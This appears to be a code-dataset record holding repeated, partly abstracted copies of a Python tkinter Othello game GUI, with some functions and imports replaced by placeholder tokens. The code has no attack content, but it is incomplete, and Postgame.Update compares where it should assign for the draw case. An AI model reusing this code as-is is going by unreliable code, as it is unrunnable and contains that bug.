tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n <function token>\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n <function token>\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def 